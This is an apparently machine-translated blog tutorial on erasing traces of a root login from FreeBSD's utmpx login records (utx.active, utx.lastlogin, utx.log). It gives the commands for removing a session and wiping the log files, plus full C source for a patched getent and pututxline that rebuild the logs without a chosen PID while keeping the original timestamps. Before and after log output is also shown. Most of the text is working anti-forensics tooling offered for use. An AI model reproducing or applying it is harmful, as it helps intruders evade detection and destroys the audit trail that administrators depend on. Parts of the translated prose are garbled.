📜 ⬆️ ⬇️

Was there anyone on the server?

Tyapnitsa ... the thirteenth ... all important decided to leave on Monday, and therefore I will make some muck ...
In connection with the appearance of the article in the article, I decided to balance this manual a little. Hide your visit, of course, is not entirely trivial, but it does not make any special difficulties.
So, the task:
Log on to the server, perform certain actions and “sweep” behind you.

Hereinafter we consider that no additional tracking tools (except for the “default”) are used in the system and we know the root password.

What we work with:

# uname -ori FreeBSD 10.0-RELEASE GENERIC 

 # `echo $SHELL` --version tcsh 6.18.01 (Astron) 

Described below is somewhat discordant with the article mentioned above, since It is primarily oriented to Linux users, but the general principles are the same after the transition to FreeSD (c 9.0) for storing data in utmpx affinity became closer.
')
Go…

Visit data is stored in 3 files:

Active users - /var/run/utx.active (replaced in 9.0 utmp)
Recent Visits - /var/log/utx.lastlogin (replaced lastlog)
Well, the full log is /var/log/utx.log (replaced by wtmp)

And here we are:
 # getent utmpx active getent utmpx active [1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot [1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host="" [1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15" [1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209" [1412600841.811588 -- Mon Oct 6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23" 

We believe that the very entrance from which we want to get rid of:
 [1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209" 


Since our current input is visible by
 # who who root ttyv1 Jul 19 11:06 Alex pts/1 Nov 12 09:55 (10.3.1.15) Alex pts/0 Nov 13 13:25 (108.182.182.209) 

Starting with it
 # utx rm 8084832f30000000 utx rm 8084832f30000000 

That's better
 # who who root ttyv1 Jul 19 11:06 Alex pts/1 Nov 12 09:55 (10.3.1.15) 

 # getent utmpx active getent utmpx active [1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot [1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host="" [1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0" [1412600841.811588 -- Mon Oct 6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23" 


It should be noted that this decision to delete the active session was not ideal and a small trace of it remained:
 [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0" 

How to delete the "right" consider below.

Dirty, we decide to leave the system
What is left in the logs
getent
 # getent utmpx lastlogin getent utmpx lastlogin [1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host="" [1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209" [1412600841.811588 -- Mon Oct 6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23" 


 # getent utmpx log getent utmpx log [1446494176.682516 -- Mon Nov 2 22:56:16 2015] user process: id="8084832f32000000" pid="72946" user="Alex" line="pts/2" host="108.182.182.209" [1446498691.474026 -- Tue Nov 3 00:11:31 2015] dead process: id="8084832f31000000" pid="61263" [1446614492.857275 -- Wed Nov 4 08:21:32 2015] user process: id="8084832f31000000" pid="79491" user="Alex" line="pts/1" host="30.205.96.92" [1446614507.736041 -- Wed Nov 4 08:21:47 2015] dead process: id="8084832f31000000" pid="79491" [1446698146.439426 -- Thu Nov 5 07:35:46 2015] user process: id="8084832f31000000" pid="83858" user="Alex" line="pts/1" host="30.205.116.124" [1446706228.892627 -- Thu Nov 5 09:50:28 2015] dead process: id="8084832f31000000" pid="83858" [1446710834.014993 -- Thu Nov 5 11:07:14 2015] system shutdown [1446710906.311914 -- Thu Nov 5 11:08:26 2015] system boot [1446710938.817058 -- Thu Nov 5 11:08:58 2015] user process: id="8084832f30000000" pid="1313" user="Alex" line="pts/0" host="10.3.1.15" [1446721174.063221 -- Thu Nov 5 13:59:34 2015] user process: id="8084832f31000000" pid="1789" user="Alex" line="pts/1" host="108.182.182.209" [1446815955.085182 -- Fri Nov 6 16:19:15 2015] dead process: id="8084832f30000000" pid="1313" [1446906334.551710 -- Sat Nov 7 17:25:34 2015] user process: id="8084832f30000000" pid="11580" user="Alex" line="pts/0" host="108.182.182.209" [1446912588.809728 -- Sat Nov 7 19:09:48 2015] dead process: id="8084832f31000000" pid="1789" [1447045707.708080 -- Mon Nov 9 08:08:27 2015] user process: id="8084832f31000000" pid="19008" user="Alex" line="pts/1" host="mm-21-205-84-93.dynamic.pppoe.mgts.ru" [1447045911.315244 -- Mon Nov 9 08:11:51 2015] dead process: id="8084832f31000000" pid="19008" [1447052181.641530 -- Mon Nov 9 09:56:21 2015] user process: id="8084832f31000000" pid="19314" user="Alex" line="pts/1" host="10.3.1.15" [1447131335.768107 -- Tue Nov 10 07:55:35 2015] user process: id="8084832f33000000" pid="23441" user="Alex" line="pts/3" host="30.205.98.54" [1447133646.400779 -- Tue Nov 10 08:34:06 2015] dead process: id="8084832f33000000" pid="23441" [1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot [1447263839.850262 -- Wed Nov 11 20:43:59 2015] user process: id="8084832f30000000" pid="1422" user="Alex" line="pts/0" host="10.3.1.15" [1447267906.123055 -- Wed Nov 11 21:51:46 2015] user process: id="8084832f31000000" pid="1644" user="Alex" line="pts/1" host="10.3.1.15" [1447271644.777315 -- Wed Nov 11 22:54:04 2015] dead process: id="8084832f30000000" pid="1422" [1447275711.000315 -- Thu Nov 12 00:01:51 2015] dead process: id="8084832f31000000" pid="1644" [1447303224.172811 -- Thu Nov 12 07:40:24 2015] user process: id="8084832f30000000" pid="3685" user="Alex" line="pts/0" host="30.205.135.101" [1447305113.718172 -- Thu Nov 12 08:11:53 2015] dead process: id="8084832f30000000" pid="3685" [1447309547.097136 -- Thu Nov 12 09:25:47 2015] user process: id="8084832f30000000" pid="4018" user="Alex" line="pts/0" host="108.182.182.209" [1447311304.396008 -- Thu Nov 12 09:55:04 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15" [1447316907.634554 -- Thu Nov 12 11:28:27 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209" [1447322795.387121 -- Thu Nov 12 13:06:35 2015] dead process: id="8084832f30000000" pid="4018" [1447410352.840653 -- Fri Nov 13 13:25:52 2015] user process: id="8084832f30000000" pid="14281" user="Alex" line="pts/0" host="108.182.182.209" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0" 



All this data is stored in binary form in utmpx structures. Thus, to delete information about the visit, you must:
- either delete the log files themselves;
- either score them with zeros in the hex editor;
- or edit the binary log by deleting the record of our visit from it;
The first two methods, of course, will delete the data on the visit, but will let the attentive admin understand that the matter is unclean. Well let's go the most difficult way.
The utmpx structure represents

  struct utmpx { short ut_type; /* Type of entry. */ struct timeval ut_tv; /* Time entry was made. */ char ut_id[]; /* Record identifier. */ pid_t ut_pid; /* Process ID. */ char ut_user[]; /* User login name. */ char ut_line[]; /* Device name. */ char ut_host[]; /* Remote hostname. */ }; 

When working with accounting databases, this structure operates with endutxent, getutxent, getutxid, getutxline, getutxuser, pututxline, setutxdb, setutxent.
We are interested in two functions:
getutxent - get data from the database as utmpx
pututxline - makes an entry to the database

Let's run through the database, count all the data and create a new copy of the database, excluding our visits from it?

  while ((ut = getutxent()) != NULL) { utmpxprint(ut); if(ut->ut_pid != 14281) pututxline(ut); } 

And here we expect a large OPS:
Oops
 [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f32000000" pid="72946" user="Alex" line="pts/2" host="108.182.182.209" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="61263" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="79491" user="Alex" line="pts/1" host="30.205.96.92" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="79491" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="83858" user="Alex" line="pts/1" host="30.205.116.124" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="83858" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] system shutdown [1447410438.824887 -- Fri Nov 13 13:27:18 2015] system boot [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="1313" user="Alex" line="pts/0" host="10.3.1.15" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="1789" user="Alex" line="pts/1" host="108.182.182.209" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="1313" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="11580" user="Alex" line="pts/0" host="108.182.182.209" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="1789" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="19008" user="Alex" line="pts/1" host="mm-21-205-84-93.dynamic.pppoe.mgts.ru" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="19008" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="19314" user="Alex" line="pts/1" host="10.3.1.15" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f33000000" pid="23441" user="Alex" line="pts/3" host="30.205.98.54" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f33000000" pid="23441" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] system boot [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="1422" user="Alex" line="pts/0" host="10.3.1.15" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="1644" user="Alex" line="pts/1" host="10.3.1.15" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="1422" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f31000000" pid="1644" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="3685" user="Alex" line="pts/0" host="30.205.135.101" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="3685" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f30000000" pid="4018" user="Alex" line="pts/0" host="108.182.182.209" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f31000000" pid="4104" user="Alex" line="pts/1" host="10.3.1.15" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="4018" [1447410438.824887 -- Fri Nov 13 13:27:18 2015] dead process: id="8084832f30000000" pid="0" 


The record 14281 disappeared, but all the records were added to the target database with the current system time!
Why is this happening?

Go to the source pututxline.c
and see:
 struct utmpx * pututxline(const struct utmpx *utmpx) { struct futx fu; ... utx_to_futx(utmpx, &fu); ... bad |= utx_log_add(&fu); ... } 
those. Before recording, our utmpx structure is transformed into some kind of futx (why it is not clear, because the structure is no different, I suspect that the “memory” of past formats)
The most interesting thing happens when converting a time parameter
utmpx ut_tv in futx fu_tv

 #define UTOF_TV(fu) do { \ struct timeval tv; \ gettimeofday(&tv, NULL); \ (fu)->fu_tv = htobe64((uint64_t)tv.tv_sec * 1000000 + \ (uint64_t)tv.tv_usec); \ } while (0) 


gettimeofday (& tv, NULL); - WHY!? If I pass as an argument the structure already filled with time?
We lead to the proper form:
 #define UTOF_TV(ut, fu) do { \ (fu)->fu_tv = htobe64((uint64_t)(ut)->ut_tv.tv_sec * 1000000 + \ (uint64_t)(ut)->ut_tv.tv_usec); \ } while (0) 

Listings of what happened below:
getent.c
 #include <sys/cdefs.h> __FBSDID("$FreeBSD: getent editor v 0.0.a $"); #include <sys/socket.h> #include <sys/param.h> #include <arpa/inet.h> #include <arpa/nameser.h> #include <net/if.h> #include <netinet/if_ether.h> #include <netinet/in.h> /* for INET6_ADDRSTRLEN */ #include <rpc/rpcent.h> #include <assert.h> #include <ctype.h> #include <errno.h> #include <grp.h> #include <limits.h> #include <netdb.h> #include <pwd.h> #include <stdarg.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "utmpx.h" #include "pututxline.c" static int usage(void); static int parsenum(const char *, unsigned long *); static int utmpx(int, char *[]); enum { RV_OK = 0, RV_USAGE = 1, RV_NOTFOUND = 2, RV_NOENUM = 3 }; static struct getentdb { const char *name; int (*callback)(int, char *[]); } databases[] = { { "utmpx", utmpx, }, { NULL, NULL, }, }; int main(int argc, char *argv[]) { struct getentdb *curdb; setprogname(argv[0]); if (argc < 2) usage(); for (curdb = databases; curdb->name != NULL; curdb++) { if (strcmp(curdb->name, argv[1]) == 0) { exit(curdb->callback(argc, argv)); } } fprintf(stderr, "Unknown database: %s\n", argv[1]); usage(); /* NOTREACHED */ return RV_USAGE; } static int usage(void) { struct getentdb *curdb; fprintf(stderr, "Usage: %s database [key ...]\n", getprogname()); fprintf(stderr, " database may be one of:\n\t"); for (curdb = databases; curdb->name != NULL; curdb++) { fprintf(stderr, " %s", curdb->name); } fprintf(stderr, "\n"); exit(RV_USAGE); /* NOTREACHED */ } /* * printfmtstrings -- * vprintf(format, ...), * then the aliases (beginning with prefix, separated by sep), * then a newline */ static void printfmtstrings(char *strings[], const char *prefix, const char *sep, const char *fmt, ...) { va_list ap; const char *curpref; int i; va_start(ap, fmt); vprintf(fmt, ap); curpref = prefix; for (i = 0; strings[i] != NULL; i++) { printf("%s%s", curpref, strings[i]); curpref = sep; } printf("\n"); va_end(ap); } /* * utmpx */ #define UTMPXPRINTID do { \ size_t i; \ for (i = 0; i < sizeof ut->ut_id; i++) \ printf("%02hhx", ut->ut_id[i]); \ } while (0) static void utmpxprint(const struct utmpx *ut) { if (ut->ut_type == EMPTY) return; printf("[%jd.%06u -- %.24s] ", (intmax_t)ut->ut_tv.tv_sec, (unsigned int)ut->ut_tv.tv_usec, ctime(&ut->ut_tv.tv_sec)); switch (ut->ut_type) { case BOOT_TIME: printf("system boot\n"); return; case SHUTDOWN_TIME: printf("system shutdown\n"); return; case OLD_TIME: printf("old system time\n"); return; case NEW_TIME: printf("new system time\n"); return; case USER_PROCESS: printf("user process: id=\""); UTMPXPRINTID; printf("\" pid=\"%d\" user=\"%s\" line=\"%s\" host=\"%s\"\n", ut->ut_pid, ut->ut_user, ut->ut_line, ut->ut_host); break; case INIT_PROCESS: printf("init process: id=\""); UTMPXPRINTID; printf("\" pid=\"%d\"\n", ut->ut_pid); break; case LOGIN_PROCESS: printf("login process: id=\""); UTMPXPRINTID; printf("\" pid=\"%d\" user=\"%s\" line=\"%s\" host=\"%s\"\n", ut->ut_pid, ut->ut_user, ut->ut_line, ut->ut_host); break; case DEAD_PROCESS: printf("dead process: id=\""); UTMPXPRINTID; printf("\" pid=\"%d\"\n", ut->ut_pid); break; default: printf("unknown record type %hu\n", ut->ut_type); break; } } static int utmpx(int argc, char *argv[]) { //const struct utmpx *ut; struct utmpx *ut; const char *file = NULL; int rv = RV_OK, db = 0; assert(argc > 1); assert(argv != NULL); if (argc == 3 || argc == 4 || argc == 5) { if (strcmp(argv[2], "active") == 0) db = UTXDB_ACTIVE; else if (strcmp(argv[2], "lastlogin") == 0) db = UTXDB_LASTLOGIN; else if (strcmp(argv[2], "log") == 0) db = UTXDB_LOG; else rv = RV_USAGE; if (argc == 4 || argc == 5) file = argv[3]; } else { rv = RV_USAGE; } if (rv == RV_USAGE) { fprintf(stderr, "Usage: %s utmpx active | lastlogin | log [filename]\n", getprogname()); } else if (rv == RV_OK) { if (setutxdb(db, file) != 0) return (RV_NOTFOUND); int ires = 0; printf("UTXDB_LOG result: [%d]\n", ires); if(argc == 5) { while ((ut = getutxent()) != NULL) { utmpxprint(ut); //if(strcmp(ut->ut_host, "10.34.1.155") != 0) //if(ut->ut_pid != 4373) if(ut->ut_pid != atoi(argv[4])) { pututxline(ut); } } } else puts("ut_pid(argv[4]) needed!.."); endutxent(); } return (rv); } 
pututxline.c
 #include <sys/cdefs.h> __FBSDID("$FreeBSD: pututxline.cv 0.0.a $"); #include <sys/endian.h> #include <sys/stat.h> #include <sys/uio.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <utmpx.h> #include "/usr/src/lib/libc/include/namespace.h" #include "/usr/src/lib/libc/gen/utxdb.h" #include "/usr/src/lib/libc/include/un-namespace.h" //----------------------------------------------------------------------------- #include <sys/param.h> #include <sys/time.h> #include <stdlib.h> //----------------------------------------------------------------------------- #define UTOF_STRING(ut, fu, field) do { \ strncpy((fu)->fu_ ## field, (ut)->ut_ ## field, \ MIN(sizeof (fu)->fu_ ## field, sizeof (ut)->ut_ ## field)); \ } while (0) #define UTOF_ID(ut, fu) do { \ memcpy((fu)->fu_id, (ut)->ut_id, \ MIN(sizeof (fu)->fu_id, sizeof (ut)->ut_id)); \ } while (0) #define UTOF_PID(ut, fu) do { \ (fu)->fu_pid = htobe32((ut)->ut_pid); \ } while (0) #define UTOF_TYPE(ut, fu) do { \ (fu)->fu_type = (ut)->ut_type; \ } while (0) #define UTOF_TV(ut, fu) do { \ (fu)->fu_tv = htobe64((uint64_t)(ut)->ut_tv.tv_sec * 1000000 + \ (uint64_t)(ut)->ut_tv.tv_usec); \ } while (0) //----------------------------------------------------------------------------- void utx_to_futx(const struct utmpx *ut, struct futx *fu) { memset(fu, 0, sizeof *fu); switch (ut->ut_type) { case BOOT_TIME: case OLD_TIME: case NEW_TIME: /* Extension: shutdown time. */ case SHUTDOWN_TIME: break; case USER_PROCESS: UTOF_ID(ut, fu); UTOF_STRING(ut, fu, user); UTOF_STRING(ut, fu, line); /* Extension: host name. */ UTOF_STRING(ut, fu, host); UTOF_PID(ut, fu); break; case INIT_PROCESS: UTOF_ID(ut, fu); UTOF_PID(ut, fu); break; case LOGIN_PROCESS: UTOF_ID(ut, fu); UTOF_STRING(ut, fu, user); UTOF_STRING(ut, fu, line); UTOF_PID(ut, fu); break; case DEAD_PROCESS: UTOF_ID(ut, fu); UTOF_PID(ut, fu); break; default: fu->fu_type = EMPTY; return; } UTOF_TYPE(ut, fu); UTOF_TV(ut, fu); //UTOF_TV(ut, fu); } //----------------------------------------------------------------------------- #define FTOU_STRING(fu, ut, field) do { \ strncpy((ut)->ut_ ## field, (fu)->fu_ ## field, \ MIN(sizeof (ut)->ut_ ## field - 1, sizeof (fu)->fu_ ## field)); \ } while (0) #define FTOU_ID(fu, ut) do { \ memcpy((ut)->ut_id, (fu)->fu_id, \ MIN(sizeof (ut)->ut_id, sizeof (fu)->fu_id)); \ } while (0) #define FTOU_PID(fu, ut) do { \ (ut)->ut_pid = be32toh((fu)->fu_pid); \ } while (0) #define FTOU_TYPE(fu, ut) do { \ (ut)->ut_type = (fu)->fu_type; \ } while (0) #define FTOU_TV(fu, ut) do { \ uint64_t t; \ t = be64toh((fu)->fu_tv); \ (ut)->ut_tv.tv_sec = t / 1000000; \ (ut)->ut_tv.tv_usec = t % 1000000; \ } while (0) //----------------------------------------------------------------------------- struct utmpx * futx_to_utx(const struct futx *fu) { #ifdef __NO_TLS static struct utmpx *ut; #else static _Thread_local struct utmpx *ut; #endif if (ut == NULL) { ut = calloc(1, sizeof *ut); if (ut == NULL) return (NULL); } else memset(ut, 0, sizeof *ut); switch (fu->fu_type) { case BOOT_TIME: case OLD_TIME: case NEW_TIME: /* Extension: shutdown time. */ case SHUTDOWN_TIME: break; case USER_PROCESS: FTOU_ID(fu, ut); FTOU_STRING(fu, ut, user); FTOU_STRING(fu, ut, line); /* Extension: host name. */ FTOU_STRING(fu, ut, host); FTOU_PID(fu, ut); break; case INIT_PROCESS: FTOU_ID(fu, ut); FTOU_PID(fu, ut); break; case LOGIN_PROCESS: FTOU_ID(fu, ut); FTOU_STRING(fu, ut, user); FTOU_STRING(fu, ut, line); FTOU_PID(fu, ut); break; case DEAD_PROCESS: FTOU_ID(fu, ut); FTOU_PID(fu, ut); break; default: ut->ut_type = EMPTY; return (ut); } FTOU_TYPE(fu, ut); FTOU_TV(fu, ut); return (ut); } //----------------------------------------------------------------------------- static FILE * futx_open(const char *file) { FILE *fp; struct stat sb; int fd; fd = open(file, O_CREAT|O_RDWR|O_EXLOCK|O_CLOEXEC, 0644); if (fd < 0) return (NULL); /* Safety check: never use broken files. */ if (fstat(fd, &sb) != -1 && sb.st_size % sizeof(struct futx) != 0) { close(fd); errno = EFTYPE; return (NULL); } fp = fdopen(fd, "r+"); if (fp == NULL) { close(fd); return (NULL); } return (fp); } static int utx_active_add(const struct futx *fu) { FILE *fp; struct futx fe; off_t partial; int error, ret; partial = -1; ret = 0; /* * Register user login sessions. Overwrite entries of sessions * that have already been terminated. */ fp = futx_open(_PATH_UTX_ACTIVE); if (fp == NULL) return (-1); while (fread(&fe, sizeof(fe), 1, fp) == 1) { switch (fe.fu_type) { case BOOT_TIME: /* Leave these intact. */ break; case USER_PROCESS: case INIT_PROCESS: case LOGIN_PROCESS: case DEAD_PROCESS: /* Overwrite when ut_id matches. */ if (memcmp(fu->fu_id, fe.fu_id, sizeof(fe.fu_id)) == 0) { ret = fseeko(fp, -(off_t)sizeof(fe), SEEK_CUR); goto exact; } if (fe.fu_type != DEAD_PROCESS) break; /* FALLTHROUGH */ default: /* Allow us to overwrite unused records. */ if (partial == -1) { partial = ftello(fp); /* * Distinguish errors from valid values so we * don't overwrite good data by accident. */ if (partial != -1) partial -= (off_t)sizeof(fe); } break; } } /* * No exact match found. Use the partial match. If no partial * match was found, just append a new record. */ if (partial != -1) ret = fseeko(fp, partial, SEEK_SET); exact: if (ret == -1) error = errno; else if (fwrite(fu, sizeof(*fu), 1, fp) < 1) error = errno; else error = 0; fclose(fp); if (error != 0) errno = error; return (error == 0 ? 0 : 1); } static int utx_active_remove(struct futx *fu) { FILE *fp; struct futx fe; int error, ret; /* * Remove user login sessions, having the same ut_id. */ fp = futx_open(_PATH_UTX_ACTIVE); if (fp == NULL) return (-1); error = ESRCH; ret = -1; while (fread(&fe, sizeof(fe), 1, fp) == 1 && ret != 0) switch (fe.fu_type) { case USER_PROCESS: case INIT_PROCESS: case LOGIN_PROCESS: if (memcmp(fu->fu_id, fe.fu_id, sizeof(fe.fu_id)) != 0) continue; /* Terminate session. */ if (fseeko(fp, -(off_t)sizeof(fe), SEEK_CUR) == -1) error = errno; else if (fwrite(fu, sizeof(*fu), 1, fp) < 1) error = errno; else ret = 0; } fclose(fp); if (ret != 0) errno = error; return (ret); } static void utx_active_init(const struct futx *fu) { int fd; /* Initialize utx.active with a single BOOT_TIME record. */ fd = open(_PATH_UTX_ACTIVE, O_CREAT|O_RDWR|O_TRUNC, 0644); if (fd < 0) return; write(fd, fu, sizeof(*fu)); close(fd); } static void utx_active_purge(void) { truncate(_PATH_UTX_ACTIVE, 0); } static int utx_lastlogin_add(const struct futx *fu) { struct futx fe; FILE *fp; int error, ret; ret = 0; /* * Write an entry to lastlogin. Overwrite the entry if the * current user already has an entry. If not, append a new * entry. */ fp = futx_open(_PATH_UTX_LASTLOGIN); if (fp == NULL) return (-1); while (fread(&fe, sizeof fe, 1, fp) == 1) { if (strncmp(fu->fu_user, fe.fu_user, sizeof fe.fu_user) != 0) continue; /* Found a previous lastlogin entry for this user. */ ret = fseeko(fp, -(off_t)sizeof fe, SEEK_CUR); break; } if (ret == -1) error = errno; else if (fwrite(fu, sizeof *fu, 1, fp) < 1) { error = errno; ret = -1; } fclose(fp); if (ret == -1) errno = error; return (ret); } static void utx_lastlogin_upgrade(void) { struct stat sb; int fd; fd = open(_PATH_UTX_LASTLOGIN, O_RDWR|O_CLOEXEC, 0644); if (fd < 0) return; /* * Truncate broken lastlogin files. In the future we should * check for older versions of the file format here and try to * upgrade it. */ if (fstat(fd, &sb) != -1 && sb.st_size % sizeof(struct futx) != 0) ftruncate(fd, 0); close(fd); } static int utx_log_add(const struct futx *fu) { struct iovec vec[2]; int error, fd; uint16_t l; /* * Append an entry to the log file. We only need to append * records to this file, so to conserve space, trim any trailing * zero-bytes. Prepend a length field, indicating the length of * the record, excluding the length field itself. */ for (l = sizeof(*fu); l > 0 && ((const char *)fu)[l - 1] == '\0'; l--) ; vec[0].iov_base = &l; vec[0].iov_len = sizeof(l); vec[1].iov_base = __DECONST(void *, fu); vec[1].iov_len = l; l = htobe16(l); fd = open(_PATH_UTX_LOG, O_CREAT|O_WRONLY|O_APPEND|O_CLOEXEC, 0644); if (fd < 0) return (-1); if (writev(fd, vec, 2) == -1) error = errno; else error = 0; close(fd); if (error != 0) errno = error; return (error == 0 ? 0 : 1); } struct utmpx * pututxline(const struct utmpx *utmpx) { struct futx fu; int bad; bad = 0; utx_to_futx(utmpx, &fu); switch (fu.fu_type) { case BOOT_TIME: utx_active_init(&fu); utx_lastlogin_upgrade(); break; case SHUTDOWN_TIME: utx_active_purge(); break; case OLD_TIME: case NEW_TIME: break; case USER_PROCESS: bad |= utx_active_add(&fu); bad |= utx_lastlogin_add(&fu); break; #if 0 /* XXX: Are these records of any use to us? */ case INIT_PROCESS: case LOGIN_PROCESS: bad |= utx_active_add(&fu); break; #endif case DEAD_PROCESS: /* * In case writing a logout entry fails, never attempt * to write it to utx.log. The logout entry's ut_id * might be invalid. */ if (utx_active_remove(&fu) != 0) return (NULL); break; default: errno = EINVAL; return (NULL); } bad |= utx_log_add(&fu); return (bad ? NULL : futx_to_utx(&fu)); } 



We collect
 # clang getent.c -o gtnt 


Copy the database and clear the place to write
 # cp /var/log/utx.* /tmp/ # echo -n > /var/log/utx.log # echo -n > /var/log/utx.lastlogin 


delete records
 # ./gtnt utmpx lastlogin /tmp/utx.lastlogin 14281 # ./gtnt utmpx log /tmp/utx.log 14281 


results
 # getent utmpx lastlogin getent utmpx lastlogin [1437293217.427108 -- Sun Jul 19 11:06:57 2015] user process: id="3a873cda545eff7f" pid="1288" user="root" line="ttyv1" host="" [1447316907.634554 -- Thu Nov 12 11:28:27 2015] user process: id="8084832f32000000" pid="4373" user="Alex" line="pts/2" host="108.182.182.209" [1412600841.811588 -- Mon Oct 6 16:07:21 2014] user process: id="3962386266747064" pid="39819" user="swimmer" line="ftpd" host="10.34.1.23" # getent utmpx log getent utmpx log [1446494176.682516 -- Mon Nov 2 22:56:16 2015] user process: id="8084832f32000000" pid="72946" user="Alex" line="pts/2" host="108.182.182.209" [1446498691.474026 -- Tue Nov 3 00:11:31 2015] dead process: id="8084832f31000000" pid="61263" [1446614492.857275 -- Wed Nov 4 08:21:32 2015] user process: id="8084832f31000000" pid="79491" user="Alex" line="pts/1" host="30.205.96.92" [1446614507.736041 -- Wed Nov 4 08:21:47 2015] dead process: id="8084832f31000000" pid="79491" [1446698146.439426 -- Thu Nov 5 07:35:46 2015] user process: id="8084832f31000000" pid="83858" user="Alex" line="pts/1" host="30.205.116.124" [1446706228.892627 -- Thu Nov 5 09:50:28 2015] dead process: id="8084832f31000000" pid="83858" [1446710834.014993 -- Thu Nov 5 11:07:14 2015] system shutdown [1446710906.311914 -- Thu Nov 5 11:08:26 2015] system boot [1446710938.817058 -- Thu Nov 5 11:08:58 2015] user process: id="8084832f30000000" pid="1313" user="Alex" line="pts/0" host="10.3.1.15" [1446721174.063221 -- Thu Nov 5 13:59:34 2015] user process: id="8084832f31000000" pid="1789" user="Alex" line="pts/1" host="108.182.182.209" [1446815955.085182 -- Fri Nov 6 16:19:15 2015] dead process: id="8084832f30000000" pid="1313" [1446906334.551710 -- Sat Nov 7 17:25:34 2015] user process: id="8084832f30000000" pid="11580" user="Alex" line="pts/0" host="108.182.182.209" [1446912588.809728 -- Sat Nov 7 19:09:48 2015] dead process: id="8084832f31000000" pid="1789" [1447045707.708080 -- Mon Nov 9 08:08:27 2015] user process: id="8084832f31000000" pid="19008" user="Alex" line="pts/1" host="mm-21-205-84-93.dynamic.pppoe.mgts.ru" [1447045911.315244 -- Mon Nov 9 08:11:51 2015] dead process: id="8084832f31000000" pid="19008" [1447052181.641530 -- Mon Nov 9 09:56:21 2015] user process: id="8084832f31000000" pid="19314" user="Alex" line="pts/1" host="10.3.1.15" [1447131335.768107 -- Tue Nov 10 07:55:35 2015] user process: id="8084832f33000000" pid="23441" user="Alex" line="pts/3" host="30.205.98.54" [1447133646.400779 -- Tue Nov 10 08:34:06 2015] dead process: id="8084832f33000000" pid="23441" [1447261331.491910 -- Wed Nov 11 20:02:11 2015] system boot [1447263839.850262 -- Wed Nov 11 20:43:59 2015] user process: id="8084832f30000000" pid="1422" user="Alex" line="pts/0" host="10.3.1.15" [1447267906.123055 -- Wed Nov 11 21:51:46 2015] user process: id="8084832f31000000" pid="1644" user="Alex" line="pts/1" host="10.3.1.15" [1447271644.777315 -- Wed Nov 11 22:54:04 2015] dead process: id="8084832f30000000" pid="1422" [1447275711.000315 -- Thu Nov 12 00:01:51 2015] dead process: id="8084832f31000000" 